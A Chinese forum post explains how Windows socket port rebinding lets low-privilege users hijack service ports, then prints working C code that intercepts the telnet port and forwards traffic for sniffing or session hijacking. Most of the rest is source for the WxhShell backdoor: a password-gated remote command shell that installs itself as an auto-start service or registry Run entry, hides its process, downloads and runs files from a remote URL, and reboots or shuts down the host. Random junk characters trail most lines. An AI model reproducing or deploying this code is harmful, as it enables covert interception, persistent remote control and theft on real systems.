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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: RM$S|y{L  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ?IO/zkeXg  
<WkLwP3^  
  saddr.sin_family = AF_INET; :b)@h|4  
H}rP{`m  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); (I g *iJ%2  
dU n#'<g5  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); _fw'c*j  
J1MnkxJmpQ  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 9j9?;3;  
PmTd+Gj$  
  这意味着什么?意味着可以进行如下的攻击: ]xs\,}I%  
u{G6xuPWf  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 P~>nlm82]  
<!$Cvx\U  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) k Er7,c  
K?WqAVK  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 {+}Lc$O#C  
Cvy;O~)  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  1N*~\rV*?  
ypVr"fWB  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 2Z |kf9  
rR;Om1 -,  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 EQ-~e   
vS<e/e+  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 #k, kpL<a  
YSmz)YfX9  
  #include @^@-A\7[KO  
  #include af{K4:I  
  #include SNFz#*  
  #include    HN%ZN}  
  DWORD WINAPI ClientThread(LPVOID lpParam);   iqYc&}k,  
  int main() <u\G&cd_tA  
  { yKJp37R  
  WORD wVersionRequested; rKxk?}  
  DWORD ret; i"@?eq#h  
  WSADATA wsaData; SQK6BEjE8  
  BOOL val; ] 2'~e,"O  
  SOCKADDR_IN saddr; FSk:J~Z;  
  SOCKADDR_IN scaddr; b%F*Nr  
  int err; 5+J/Qm8{bb  
  SOCKET s; C+j+q648>  
  SOCKET sc; `)fGw7J {  
  int caddsize; 8wd2\J,]  
  HANDLE mt; ?a}~yz#B(  
  DWORD tid;   b04~z&Xv  
  wVersionRequested = MAKEWORD( 2, 2 ); tuSgh!  
  err = WSAStartup( wVersionRequested, &wsaData ); R<)uvW_@  
  if ( err != 0 ) { ORTM [cL  
  printf("error!WSAStartup failed!\n"); ;I0/zeM%  
  return -1; tKs0]8tc  
  } $) $sApB  
  saddr.sin_family = AF_INET; 0=iJT4IEJ  
   [+GG Wo  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 f!yxS?j3  
Rzk JS9)m  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); -eya$C  
  saddr.sin_port = htons(23); +?p ;,Z%5  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) A`KTm(  
  { <tNx*ce5  
  printf("error!socket failed!\n"); 1<F/boF~  
  return -1; T&%>/7I>  
  } ]pt @  
  val = TRUE; k&2I(2S  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 sXUM,h8$!+  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 'D bHXS7N  
  { K;K tx>Z/  
  printf("error!setsockopt failed!\n"); C>HU G  
  return -1; !O\r[c  
  } Msf yI B  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; [|3 %~s|Sv  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 pD{Li\LY  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 QwiC2}/  
)wC>Hq[mhW  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) pq@ad\8  
  { 6 ^p 6v   
  ret=GetLastError(); _Nd\Cm  
  printf("error!bind failed!\n"); </eh^<_~  
  return -1; tY7u\Y;^  
  } wL*z+>5  
  listen(s,2); (C!fIRY  
  while(1) ? in&/ZrB  
  { (GZm+?  
  caddsize = sizeof(scaddr); d;>:<{z@CD  
  //接受连接请求 #2pgh?  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); sbRg=k&Ns  
  if(sc!=INVALID_SOCKET) = zsXa=<  
  { Ws=J)2q  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);  Z/64E^  
  if(mt==NULL) (T@ov~ @  
  { te1lUQ  
  printf("Thread Creat Failed!\n"); A2B&X}K|U  
  break; 8!1o,=I$  
  } % R'eV<  
  } 3vy5JTCz~  
  CloseHandle(mt); j"f ]pzg&  
  } +q3W t|  
  closesocket(s); ;m\E9ple  
  WSACleanup(); Z*JZ Ubo-Q  
  return 0; xH92=t-w  
  }   M+Dkn3bx  
  DWORD WINAPI ClientThread(LPVOID lpParam) ;$86.2S>B  
  { "zr%Q'Ky  
  SOCKET ss = (SOCKET)lpParam; !OiP<8 ,H  
  SOCKET sc; xa K:@/  
  unsigned char buf[4096]; ?L_#AdK  
  SOCKADDR_IN saddr; t]Vw` z%G  
  long num; B64%| S  
  DWORD val; .[~E}O  
  DWORD ret; ^E5Xpza  
  //如果是隐藏端口应用的话,可以在此处加一些判断 WC`<N4g|  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   :^l`m9  
  saddr.sin_family = AF_INET; r&^4L  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); J9{B  
  saddr.sin_port = htons(23); !I:6L7HdwB  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) b+hZ<U/  
  { K 5!k06;s  
  printf("error!socket failed!\n"); .sCo,  
  return -1; 4/HyO\?z5  
  } *#~3\{  
  val = 100; r0_3`; H  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ~?nPp$^  
  { yBeSvsm  
  ret = GetLastError(); T?Gi;ld7  
  return -1; jMgNi@  
  } -Ndd6O[ a5  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) eml(F  
  { aMT&}3  
  ret = GetLastError(); h}.0Ne  
  return -1; OfIml.  
  } i_I`Y  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ln9U>*<  
  { 2g|+*.*`  
  printf("error!socket connect failed!\n"); jwGd*8 /  
  closesocket(sc); "c=\?   
  closesocket(ss); c!E+&5|n  
  return -1; R /iB  
  } 0!\pS{$zB  
  while(1) Z-Zox-I1}-  
  { ,253'53W)  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 9qW^@5 m  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ^\J/l\n  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 E2 #XXc  
  num = recv(ss,buf,4096,0); XP~4jOL]  
  if(num>0) s:,BcVLx^  
  send(sc,buf,num,0); Y[@$1{YS  
  else if(num==0) m8#+w0p)  
  break; nQb{/ TqC'  
  num = recv(sc,buf,4096,0); D CFYpkR%  
  if(num>0) J!~?}Fq/z  
  send(ss,buf,num,0); OlQ7Yi>  
  else if(num==0) D<C ZhYJ  
  break; Dtt[a  
  } !/sXG\  
  closesocket(ss); AI/xOd!a  
  closesocket(sc); 9Iy>oV  
  return 0 ; h{qB\aK  
  } l '<gkwX  
@'jC>BS8`  
Em %"] B  
========================================================== ;y Wfb|!  
){ArZjG>  
下边附上一个代码,,WXhSHELL _T)dmhG  
\k;*Ej~.  
========================================================== rt^<=|Z  
!ku5P+y$  
#include "stdafx.h" ;WWUxrWif  
VYMs`d[  
#include <stdio.h> c"H*9u:  
#include <string.h> gfR B  
#include <windows.h> WfL5. &  
#include <winsock2.h> u#ag|b/C:  
#include <winsvc.h> 1-Sc@WXd  
#include <urlmon.h> f@]4udc e  
'OK)[\  
#pragma comment (lib, "Ws2_32.lib") t9;yyZh  
#pragma comment (lib, "urlmon.lib") Yx>=(B  
7 `thM/fN  
#define MAX_USER   100 // 最大客户端连接数 c>,|[zP{  
#define BUF_SOCK   200 // sock buffer BRhAL1  
#define KEY_BUFF   255 // 输入 buffer $i7iv  
%D:Mt|  
#define REBOOT     0   // 重启 DfXXN  
#define SHUTDOWN   1   // 关机 [yJcM [p\  
%lF}!  
#define DEF_PORT   5000 // 监听端口 g!,>.  
mhv{6v  
#define REG_LEN     16   // 注册表键长度 9|jk=`4UK  
#define SVC_LEN     80   // NT服务名长度 :} i #ODJ  
8*k#T\  
// 从dll定义API ]X ,f  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); TyI"fP  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); A (S=  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); dj3}Tjt  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); .v?Ir)  
7 ^>UUdk(  
// wxhshell配置信息 87.b7 b.  
struct WSCFG { #T &z`  
  int ws_port;         // 监听端口 <x e=G]v  
  char ws_passstr[REG_LEN]; // 口令 N|WZk2 "  
  int ws_autoins;       // 安装标记, 1=yes 0=no =87.6Ai  
  char ws_regname[REG_LEN]; // 注册表键名 ;5urIYd  
  char ws_svcname[REG_LEN]; // 服务名 G}<%%U D  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ZJlmHlAX  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 EdbL AagI6  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 T1sb6CT  
int ws_downexe;       // 下载执行标记, 1=yes 0=no "ph&hd}S  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" +n_`*@SE  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 wcDHx#~  
|E/U(VS3l~  
}; d}#G~O+y3v  
a"ZBSg(  
// default Wxhshell configuration >*rH Nf  
struct WSCFG wscfg={DEF_PORT, /G[; kR"  
    "xuhuanlingzhe", .hd<,\nW  
    1, UlF=,0P  
    "Wxhshell", =iF}41a  
    "Wxhshell", O {u^&V]  
            "WxhShell Service", IWbW=0IsS  
    "Wrsky Windows CmdShell Service", unn2MP'  
    "Please Input Your Password: ", S^ ij%  
  1, QhV!%}7  
  "http://www.wrsky.com/wxhshell.exe", WPLM*]6  
  "Wxhshell.exe" >5G2!Ns'  
    }; $#E?`At{I  
?fF{M%i-%  
// 消息定义模块 0tV"X  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; doM}vh)6  
char *msg_ws_prompt="\n\r? for help\n\r#>"; `uK_}Vy_  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 2\ 3}y(  
char *msg_ws_ext="\n\rExit."; Byq4PX%B  
char *msg_ws_end="\n\rQuit."; Pt<lHfd  
char *msg_ws_boot="\n\rReboot..."; 5R 6@A?vr  
char *msg_ws_poff="\n\rShutdown..."; ETQ.A< v  
char *msg_ws_down="\n\rSave to "; QQ*yQ\  
DY]\@<ez  
char *msg_ws_err="\n\rErr!"; Gc6`]7 s  
char *msg_ws_ok="\n\rOK!"; eF)vx{s  
DSiI%_[Ud  
char ExeFile[MAX_PATH]; <tp\+v! u  
int nUser = 0; =fy~-FN_  
HANDLE handles[MAX_USER]; ,#;%ILF4%  
int OsIsNt; 2Hltgt,  
e]N?{s   
SERVICE_STATUS       serviceStatus; G;r-f63N  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 'Y`.0T[&  
QI\&D)  
// 函数声明 @k.j6LKbc  
int Install(void); eyPh^c]?`8  
int Uninstall(void); gHCk;dmq81  
int DownloadFile(char *sURL, SOCKET wsh); oB$7m4xO\  
int Boot(int flag); -?)` OHc^  
void HideProc(void); w s(9@  
int GetOsVer(void); @mM])V  
int Wxhshell(SOCKET wsl); OFS` ?>  
void TalkWithClient(void *cs); erG@8CG  
int CmdShell(SOCKET sock); dno=C  
int StartFromService(void); mMLxT3Ci8  
int StartWxhshell(LPSTR lpCmdLine); )./pS~  
&Uqm3z?v  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); P\#z[TuHKC  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ){=2td$=$  
"n'LF?/H'  
// 数据结构和表定义 8GC(?#Kb  
SERVICE_TABLE_ENTRY DispatchTable[] = SVvR]T&_  
{ ?9<byEO%M  
{wscfg.ws_svcname, NTServiceMain}, [p3)C<;ZC  
{NULL, NULL} C/nzlp~  
}; QC+oSb!!?  
<cTusC<  
// 自我安装 =l&A9 >\  
int Install(void) P(N$U^pj  
{ ba_T:;';0  
  char svExeFile[MAX_PATH]; k:D;C3vJd  
  HKEY key; NNUm=g^  
  strcpy(svExeFile,ExeFile); y7 tK>aD}  
e%#8]$  
// 如果是win9x系统,修改注册表设为自启动 n~/#~VTVe  
if(!OsIsNt) {  lZ^UAFF  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~ ;aSE  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -#XNZy!//  
  RegCloseKey(key); 23a&m04Rk  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { i2<dn)K[~-  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); B@w Q [  
  RegCloseKey(key); HRF4 Ro  
  return 0; MYqxkhcLH1  
    } #]`ejr:2O  
  } H^s@qh)L  
} aOYRenqu  
else { h[c HCVM:  
G:qkk(6_#  
// 如果是NT以上系统,安装为系统服务 G6X  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); c9e  }P  
if (schSCManager!=0) /wIev1Z!Y  
{ "yMr\jt~-  
  SC_HANDLE schService = CreateService =U3,P%  
  ( @:DS/#!  
  schSCManager, u(KeS`  
  wscfg.ws_svcname, 6ju+#]T  
  wscfg.ws_svcdisp, 7`3he8@ze  
  SERVICE_ALL_ACCESS, m{gK<T  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , O2{_:B>K[  
  SERVICE_AUTO_START, &o/&T{t}  
  SERVICE_ERROR_NORMAL, o?P(Fuf  
  svExeFile, Fs:l"5~>1  
  NULL, >u5}5OP7  
  NULL, ~S Js2- 2  
  NULL, di6A.N5A  
  NULL, s#sr1[9}G  
  NULL F0Xv84:O  
  ); 2l+O|R  
  if (schService!=0) >*A\/Da]j  
  { La}=Ng  
  CloseServiceHandle(schService); N i^pP@('  
  CloseServiceHandle(schSCManager); ?Gr<9e2Eo  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ->vfQwBFd  
  strcat(svExeFile,wscfg.ws_svcname); 0-Xpq,0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { aisX56Lc  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 57+^T}/>  
  RegCloseKey(key); ?,|_<'$4T  
  return 0; 6X5m1+ Oi^  
    } De|@}@  
  } Pp N+q:(  
  CloseServiceHandle(schSCManager);  U^ BB|  
} xtU)3I=F%  
} :i*JlKHJ d  
cd}TDd(H%  
return 1; V]}/e!XK\  
} #UU}lG  
>'^l>FPc  
// 自我卸载 X%,;IW]a  
int Uninstall(void) URR| Q!D  
{ ,=>O/!s  
  HKEY key; `(.ue8T  
=fBJQK2sk  
if(!OsIsNt) { @6.1EK0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )@Xdr0  
  RegDeleteValue(key,wscfg.ws_regname); 7 pg8kq@  
  RegCloseKey(key); Uy ;oJY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { I}Q3B3Byg  
  RegDeleteValue(key,wscfg.ws_regname); Fg4eIE-/M  
  RegCloseKey(key); wr*A%:  
  return 0; /H^bDUC :r  
  } (m3p28Q?  
} [ sz#*IJ  
} : M0LAN  
else { .(;k]U P  
{b/60xl?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); $if(`8  
if (schSCManager!=0) )'%L#  
{ a|?CC/Ra  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); . 36'=K  
  if (schService!=0) OY~5o&Oa  
  { ?vf{v  
  if(DeleteService(schService)!=0) { 7Yj\*N  
  CloseServiceHandle(schService); $Ry NM2YI  
  CloseServiceHandle(schSCManager); /[nt=#+   
  return 0; J+?xfg  
  } \ox:/-[c\<  
  CloseServiceHandle(schService); C&Nd|c  
  } a((5_8SX5  
  CloseServiceHandle(schSCManager); 2T?t[;-  
} u[2R>=  
} (U/[i.r5Cj  
vR1%&(f{  
return 1; zZ-e2)1v  
} 9FV#@uA}D  
#D//oL"u]  
// 从指定url下载文件 dJNYuTZ'  
int DownloadFile(char *sURL, SOCKET wsh) o?{VGJH<v  
{ r(vk2Qy  
  HRESULT hr; |hp_X>Uv'  
char seps[]= "/"; O";r\Z  
char *token; j- F=5)A  
char *file; $BH0W{S  
char myURL[MAX_PATH]; >)N,V;j  
char myFILE[MAX_PATH]; N.eSf  
7SAu">lIl  
strcpy(myURL,sURL); oL }FD !}  
  token=strtok(myURL,seps); z=)5M*h  
  while(token!=NULL) "P<~bw5   
  { 8Qu].nKe  
    file=token; [zf9UUc~  
  token=strtok(NULL,seps); f.+e  
  } l`$f@'k  
{!oO>t  
GetCurrentDirectory(MAX_PATH,myFILE); Y]8l]l 1  
strcat(myFILE, "\\"); E? F @  
strcat(myFILE, file); _rjCwo\  
  send(wsh,myFILE,strlen(myFILE),0);  |k 4+I  
send(wsh,"...",3,0); >>^c_0"O  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); oF ,8j1  
  if(hr==S_OK) ,PN>,hFL  
return 0; ={maCYlE.  
else =Z-.4\3  
return 1; i-E&Y*\^9H  
)J#@L*  
} s?%1/&.~  
YVW!u6W'[6  
// 系统电源模块 T/ S-}|fhQ  
int Boot(int flag) ,u]kZ]  
{ J_P2%b=C  
  HANDLE hToken; 4TR:bQZs  
  TOKEN_PRIVILEGES tkp; 6dq U4  
)sNtw Sl^  
  if(OsIsNt) { v/yk T9@;  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); /.WD '*H  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); gn(n</\/O  
    tkp.PrivilegeCount = 1; 3'&]v6|  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; iQa Q"s  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 2? !b!  
if(flag==REBOOT) { 7^Onq0ym T  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) RNvtgZ}k{X  
  return 0; nh9K(  
} kt;X|`V{5z  
else { wRie{Vk  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 2N)vEUyDV  
  return 0; k7W8$8 v  
} 8%nTDSp&t  
  } g>f(5  
  else { ;utjW1y  
if(flag==REBOOT) { (\R"v^  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) kV<VhBql!  
  return 0; f$WO{ J  
} CtSAo\F  
else { V l9\&EL  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 23+GX&Rp  
  return 0; b|fq63ar;  
} XTeU 2I  
} I|R9@  
\-sD RW  
return 1; (4c<0<"$  
} UJ6WrO5#kB  
NWNgh/9?  
// win9x进程隐藏模块 i!,>3  
void HideProc(void) t5e(9Yhj  
{ ! B)Em  
vB.LbYyF  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Qgf_  
  if ( hKernel != NULL ) ied<1[~S  
  { R`$Odplh>  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); HDy[/7"  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); |`O7> (h  
    FreeLibrary(hKernel); F` ?pZ  
  } Za01z^  
o} %  
return; 6s|C:1](b  
} O9>/ WmLe  
3d,|26I7f  
// 获取操作系统版本 H<FDi{  
int GetOsVer(void) l{y~N  
{ aMj3ov8p  
  OSVERSIONINFO winfo; &'|bZms g  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Bq$bxuhV  
  GetVersionEx(&winfo); cc^V~-ph  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 3cOXtDV YT  
  return 1; *YDx6\><  
  else }D|"$*  
  return 0; u(REEc~nj  
} +*|E%pq  
?SQT;C3j(  
// 客户端句柄模块 cxmr|- ^  
int Wxhshell(SOCKET wsl) 4`*jF'N[  
{ bTn-Pg){  
  SOCKET wsh; HWs?,AJNxB  
  struct sockaddr_in client; (,<?Pg7v:f  
  DWORD myID; K): )bL(B  
)I5f`r=Ry  
  while(nUser<MAX_USER) 8`*`4m  
{ e j`lY  
  int nSize=sizeof(client); cPtP?)38.  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); / ?Q@Pn  
  if(wsh==INVALID_SOCKET) return 1; U1&m-K  
AalyEn&>  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); pWQ?pTh  
if(handles[nUser]==0) (2a~gQGD  
  closesocket(wsh); "2Ye\#BU6  
else D%BV83S   
  nUser++; fC81(5   
  } 5SK.R;mn  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); -$mzzYH  
jN B-FVaT  
  return 0; ,D#~%kq~  
} t(s']r  
5$9j&&R  
// 关闭 socket rgOB0[  
void CloseIt(SOCKET wsh) a Fl(K\  
{ jI y'mGaG  
closesocket(wsh); b)`<J @&{  
nUser--; 30B! hj$C  
ExitThread(0); xOEj+%M  
} ;H}? 8L  
_\u'~wWl  
// 客户端请求句柄 'jfI1 ]q  
void TalkWithClient(void *cs) L-$GQGk{  
{ /dtFB5Z"w  
a}=)b#T`  
  SOCKET wsh=(SOCKET)cs; B?Pu0 _|s  
  char pwd[SVC_LEN]; EpPKo  
  char cmd[KEY_BUFF]; M(5lSu  
char chr[1]; =o9 %)  
int i,j; (Kx3:gs  
  5)mn  
  while (nUser < MAX_USER) { )2:d8J\  
 fkYa  
if(wscfg.ws_passstr) { y5oiH  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]Wfnpqc^  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); X4 xnr^  
  //ZeroMemory(pwd,KEY_BUFF); `@eQL[Z9x  
      i=0; [x9eamJ,H  
  while(i<SVC_LEN) { 539[,jH  
E Xo"F*gW  
  // 设置超时 \GBv@  
  fd_set FdRead; x.}iSE{  
  struct timeval TimeOut; Uv.{=H:  
  FD_ZERO(&FdRead); KZ&8aulP  
  FD_SET(wsh,&FdRead); 0~"{z >s '  
  TimeOut.tv_sec=8; nww,y  
  TimeOut.tv_usec=0; y/ vE  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); .`iOWCS  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); [_CIN  
w 8T#~Dc  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 91[(K'=&  
  pwd=chr[0]; UKn>.,  
  if(chr[0]==0xd || chr[0]==0xa) { Dy0RZF4_  
  pwd=0; i?||R|>;"'  
  break; 5Vf#(r f  
  } na>UFw7>*  
  i++; 02?y%  
    } ys09W+B7  
W!htCwnkF  
  // 如果是非法用户,关闭 socket .y|*  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); A)'{G  
} FzW7MW>\x  
8)'OXR0/  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 1;S@XC>  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;5dJ5_}  
s}X2*o`,  
while(1) { 05$CIS>!  
z GA1  
  ZeroMemory(cmd,KEY_BUFF); Np+<)q2  
{0QNqjue  
      // 自动支持客户端 telnet标准   "}(*Km5Po  
  j=0; eY;XF.mF  
  while(j<KEY_BUFF) { t 8|i>(O  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); HZ )z^K?1  
  cmd[j]=chr[0]; f6u<.b  
  if(chr[0]==0xa || chr[0]==0xd) { `l'z#\  
  cmd[j]=0; <Zn]L:  
  break; b-\ 1D;]  
  } Jf9a<[CcV  
  j++; ={B%qq  
    } yIA- +# r[  
6||zfH  
  // 下载文件 k_/*> lIZY  
  if(strstr(cmd,"http://")) { 'de&9\  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); K>N\U@@8i  
  if(DownloadFile(cmd,wsh)) 0EKi?vP@y7  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); k`_sKr]9  
  else VMXccT9i!  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); b<n*wH  
  } jH({Qc,97  
  else { fX2sjfk  
#Ipi3  
    switch(cmd[0]) { @j=:V!g2O  
  _h6SW2:z!E  
  // 帮助 "A6m-xE~  
  case '?': { QVJq%P  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ,` 6O{Z~  
    break; 2Jo|]>nl}u  
  } kNR -eG  
  // 安装 F2QFQX(j  
  case 'i': { g]vo."}5E  
    if(Install()) 41Hv)}Yd  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); e#!%:M;4P  
    else tp*.'p-SI  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :m]H?vq] \  
    break; OD]`oJ|  
    } J}BN}|Y@2  
  // 卸载 X6 *4IE  
  case 'r': { <hvs{}TS  
    if(Uninstall()) G5vp(%j  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dhv?36uE  
    else rP|~d}+I  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #9zpJ\E  
    break; y)vK=,"  
    } /#jH #f[  
  // 显示 wxhshell 所在路径 6I2` oag  
  case 'p': { eu={6/O  
    char svExeFile[MAX_PATH]; `Y O(C<r-  
    strcpy(svExeFile,"\n\r"); lonV_Xx  
      strcat(svExeFile,ExeFile);  |W_;L6)  
        send(wsh,svExeFile,strlen(svExeFile),0); ORuC("  
    break; K*I!:1;3N  
    } /9ctmW1!<  
  // 重启 U}@xMt8@l  
  case 'b': { *IX<&u#  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 5.1z9[z  
    if(Boot(REBOOT)) <yl%q*gls  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z_93j3 #  
    else { O,6Wdw3+-3  
    closesocket(wsh); MH=7(15R  
    ExitThread(0); P q0 %oz  
    } l^F ?^kP  
    break; dq,j?~ _}  
    } Yw] 7@  
  // 关机 v{d$DZUs  
  case 'd': { Ps!umV  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); TZ&X0x8  
